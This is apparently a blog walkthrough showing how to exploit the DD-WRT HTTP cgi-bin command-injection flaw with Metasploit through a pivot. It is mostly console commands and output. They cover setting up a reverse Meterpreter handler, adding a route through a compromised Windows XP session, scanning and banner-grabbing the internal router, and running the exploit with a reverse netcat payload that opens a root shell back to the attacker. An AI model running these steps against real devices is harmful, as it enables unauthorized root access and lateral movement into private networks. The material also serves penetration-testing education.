Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit is of low impact by some since the distribution only listens for HTTP connections thru the internal interface. In this example of using the exploit the exploit will be used thru a pivot obtained thru a client side exploit from which we will pivot, do a discovery, finger print the device and exploit it. In the following example we will start by showing our IP of the attacker machine, receiving the Meterpreter shell and showing the target box IP thru a cmd shell:

msf > ifconfig eth0
[*] exec: ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:0e:7f:f9:12:62  
          inet addr:192.168.1.158  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:7fff:fef9:1262/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:55461 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23899 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:58889891 (58.8 MB)  TX bytes:3107063 (3.1 MB)
          Interrupt:20 
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
msf exploit(handler) > 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.100:1085)
msf exploit(handler) > session -i 1
[-] Unknown command: session.
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo 
Computer: AWINXP01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > execute -H -f -c -i -f cmd.exe
Process 1708 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 192.168.111.200
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.111.2
C:\Documents and Settings\administrator\Desktop>exit
meterpreter >

Know we proceed to background this session and set a route thru the session to the network behind the NAT router from the information we gathered:

meterpreter > 
Background session 1? [y/N]  
msf exploit(handler) > 
msf exploit(handler) > route add 192.168.111.0 255.255.255.0 1
msf exploit(handler) > route print
Active Routing Table
====================
   Subnet             Netmask            Gateway    
   ------             -------            -------    
   192.168.111.0      255.255.255.0      Session 1  
msf exploit(handler) >

Now that the route is created we can use the TCP Port Scanner Auxiliary Module to do a TCP scan of the default gateway of the target network:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp 
msf auxiliary(tcp) > info
       Name: TCP Port Scanner
    Version: 6823
    License: Metasploit Framework License (BSD)
Provided by:
  hdm <hdm@metasploit.com>
  kris katterjohn <katterjohn@gmail.com>
Basic options:
  Name     Current Setting  Required  Description                                  
  ----     ---------------  --------  -----------                                  
  PORTS    1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)        
  RHOSTS                    yes       The target address range or CIDR identifier  
  THREADS  1                yes       The number of concurrent threads             
  TIMEOUT  1000             yes       The socket connect timeout in milliseconds   
Description:
  Enumerate open TCP services
msf auxiliary(tcp) > set PORTS 22,23,80,443
PORTS => 22,23,80,443
msf auxiliary(tcp) > set RHOSTS 192.168.111.2
RHOSTS => 192.168.111.2
msf auxiliary(tcp) > run
[*]  TCP OPEN 192.168.111.2:22
[*]  TCP OPEN 192.168.111.2:23
[*]  TCP OPEN 192.168.111.2:80
[*] Auxiliary module execution completed
msf exploit(handler) >

Since we are going thru a Meterpreter TCP pivot is important to remember to keep the THREAD variable to 1 since Meterpreter is not multithreaded and limit the number of ports to those you want to target so as to not expend a large amount of time scanning. Now that the ports that are open we proceed to finger print one of the services by getting the banner using the connect command in Metasploit:

msf exploit(handler) > connect -c 1 192.168.111.2 23
[*] Connected to 192.168.111.2:23
DD-WRT v24 std (c) 2007 NewMedia-NET GmbH
Release: 01/26/07 (SVN revision: 5660M)
�
DD-WRTx86CI login: ^Cmsf exploit(handler) > 
msf exploit(handler) >

As we can see the Telnet login banner identifies the target machine as a DD-WRT box. We know proceed to load the exploit module and set a reverse netcat payload and set the other appropriate variables. Onece we have ran the exploit and a session is created we proceed to run the Linux uname command to check the version of the device and to also check the shell is working:

msf exploit(handler) > use exploit/linux/http/ddwrt_cgibin_exec 
msf exploit(ddwrt_cgibin_exec) > set PAYLOAD cmd/unix/reverse_netcat 
PAYLOAD => cmd/unix/reverse_netcat
msf exploit(ddwrt_cgibin_exec) > set LPORT 2222
LPORT => 2222
msf exploit(ddwrt_cgibin_exec) > set RHOST 192.168.111.2
RHOST => 192.168.111.2
msf exploit(ddwrt_cgibin_exec) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(ddwrt_cgibin_exec) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Sending GET request with encoded command line...
[*] Command shell session 2 opened (192.168.1.158:2222 -> 192.168.1.100:4531)
uname -a
Linux DD-WRTx86CI 2.6.19.2dd-wrt #45 Fri Jan 26 06:28:01 CET 2007 i686 unknown

One advantage is that since the shell is running thru a Meterpreter session all traffic outside of the target network to the attackers box is encrypted using SSL.

For more information on this vulnerability please check the following links:

http://www.securityfocus.com/bid/35742
http://www.milw0rm.com/exploits/9209

Shell is Only the Beginning

Using Metasploit DD-WRT Exploit Module Thru Pivot